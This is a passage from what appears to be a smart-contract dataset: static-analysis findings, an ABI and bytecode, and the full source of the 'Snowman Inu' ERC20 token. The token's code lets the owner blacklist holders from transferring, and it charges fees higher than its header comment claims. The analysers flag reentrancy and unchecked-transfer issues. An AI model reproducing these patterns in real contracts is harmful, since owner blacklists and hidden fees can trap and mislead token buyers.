"lines": {"Token.sol": [45]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [223]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [322]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [279]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [199]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [181]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [206]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [244]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [53]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [258]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [185]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [192]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [212]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [206]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [206]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [223]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [244]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [212]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [192]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [315]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [212]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [199]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [185]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [258]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [322]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [315]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"Token.sol": [80]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"Token.sol": [280]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"Token.sol": [79]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"Token.sol": [262]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"Token.sol": [227]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"Token.sol": [235]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"Token.sol": [69]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"Token.sol": [250]}}] | [{"error": "Integer Underflow.", "line": 107, "level": "Warning"}, {"error": "Integer Underflow.", "line": 105, "level": "Warning"}, {"error": "Integer Underflow.", "line": 117, "level": "Warning"}, {"error": "Integer Overflow.", "line": 258, "level": "Warning"}, {"error": "Integer Overflow.", "line": 324, "level": "Warning"}, {"error": "Integer Overflow.", "line": 223, "level": "Warning"}, {"error": "Integer Overflow.", "line": 316, "level": "Warning"}, {"error": "Integer Overflow.", "line": 206, "level": "Warning"}, {"error": "Integer Overflow.", "line": 64, "level": "Warning"}, {"error": "Integer Overflow.", "line": 244, "level": "Warning"}] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 294, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 53, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 192, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 69, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 262, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 270, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 181, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 69, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 227, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 235, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 250, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 262, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 270, "severity": 2}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 86, "severity": 3}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 114, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 115, "severity": 1}, {"rule": "SOLIDITY_TRANSFER_IN_LOOP", "line": 69, "severity": 2}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 309, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 30, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 64, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 108, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 133, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 133, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 206, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 223, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 223, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 244, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 258, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 258, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 120, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 121, "severity": 1}] | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint8"}],"name":"stepUnlockInfo","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"techProvider","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint8"}],"name":"stepLockend","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"unApprove","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address[]"},{"name":"_value","type":"uint256[]"}],"name":"transferMulti","outputs":[{"name":"success","type":"bool"},{"name":"amount","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_newController","type":"address"}],"name":"changeController","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"freezeOfUser","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_step","type":"uint8"}],"name":"unFreeze","outputs":[{"name":"unlockOver","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_user","type":"address"},{"name":"_value","type":"uint256[]"},{"name":"_step","type":"uint8[]"}],"name":"freeze","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_step","type":"uint8"},{"name":"_endTime","type":"uint256"}],"name":"addLockStep","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_user","type":"address"},{"name":"_amount","type":"uint256"}],"name":"generateTokens","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"changeOwner","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"transfersEnabled","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_amount","type":"uint256"},{"name":"_extraData","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_user","type":"address"},{"name":"_amount","type":"uint256"}],"name":"destroyTokens","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address[]"},{"name":"_value","type":"uint256"}],"name":"transferMultiSameValue","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint8"},{"name":"","type":"uint256"}],"name":"freezeOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"tokens","type":"address[]"}],"name":"claimTokens","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_transfersEnabled","type":"bool"}],"name":"enableTransfers","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"controller","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"initialSupply","type":"uint256"},{"name":"tokenName","type":"string"},{"name":"tokenSymbol","type":"string"},{"name":"initialOwner","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Freeze","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Unfreeze","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_token","type":"address"},{"indexed":true,"name":"_controller","type":"address"},{"indexed":false,"name":"_amount","type":"uint256"}],"name":"ClaimedTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.4.24+commit.e67f0147 | true | 200 | 00000000000000000000000000000000000000000000000000000002540be400000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000005459bf4d39b7da88a33adca3e57c8553ecc5b466000000000000000000000000000000000000000000000000000000000000001b5175616e74205472656173757265204261636b757020434841494e000000000000000000000000000000000000000000000000000000000000000000000000035154420000000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://ede79673f7659f7a19af6df341556fb7694571978391595e4a8cb4fa26d6e0a1 |
|||
SnowmanInu | 0xd51b9e7dd348bd64f32abfe0f26c35889451479c | Solidity | /**
Snowman Inu
Total 10 000 000 000
4% to LP and Buyback
4% Marketing
2% Reflections
https://t.me/snowmaninu
Website : snowmaninu.fun
*/
pragma solidity ^0.8.9;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SnowmanInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Snowman Inu";
string private constant _symbol = "SNOW";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x3BD36965b125cfd7Abf0376DBCBA01F28C11230A);
_feeAddrWallet2 = payable(0x3BD36965b125cfd7Abf0376DBCBA01F28C11230A);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | [] | [{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"SnowmanInu.sol": [72]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SnowmanInu.sol": [290, 291, 292, 293, 294]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SnowmanInu.sol": [187, 188, 189, 190]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SnowmanInu.sol": [192, 193, 194]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SnowmanInu.sol": [90, 91, 92, 93]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SnowmanInu.sol": [201, 202, 203, 204, 205]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SnowmanInu.sol": [171, 172, 173]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SnowmanInu.sol": [168, 169, 167]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SnowmanInu.sol": [196, 197, 198, 199]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SnowmanInu.sol": [176, 177, 175]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SnowmanInu.sol": [179, 180, 181]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SnowmanInu.sol": [296, 297, 298]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"SnowmanInu.sol": [13]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"SnowmanInu.sol": [81, 82, 83]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"SnowmanInu.sol": [81, 82, 83]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SnowmanInu.sol": [130]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SnowmanInu.sol": [110]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SnowmanInu.sol": [141]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SnowmanInu.sol": [140]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SnowmanInu.sol": [139]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"SnowmanInu.sol": [321]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"SnowmanInu.sol": [220]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"SnowmanInu.sol": [283]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"SnowmanInu.sol": [320]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"SnowmanInu.sol": [286]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"SnowmanInu.sol": [254]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"SnowmanInu.sol": [203]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"SnowmanInu.sol": [203]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"SnowmanInu.sol": [254]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"SnowmanInu.sol": [305]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"SnowmanInu.sol": [349]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"SnowmanInu.sol": [305]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"SnowmanInu.sol": [137]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"SnowmanInu.sol": [340]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"SnowmanInu.sol": [305]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"SnowmanInu.sol": [340]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"SnowmanInu.sol": [340]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"SnowmanInu.sol": [349]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"SnowmanInu.sol": [349]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"SnowmanInu.sol": [235]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"SnowmanInu.sol": [285]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"SnowmanInu.sol": [130]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"SnowmanInu.sol": [287]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"SnowmanInu.sol": [282]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"SnowmanInu.sol": [121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 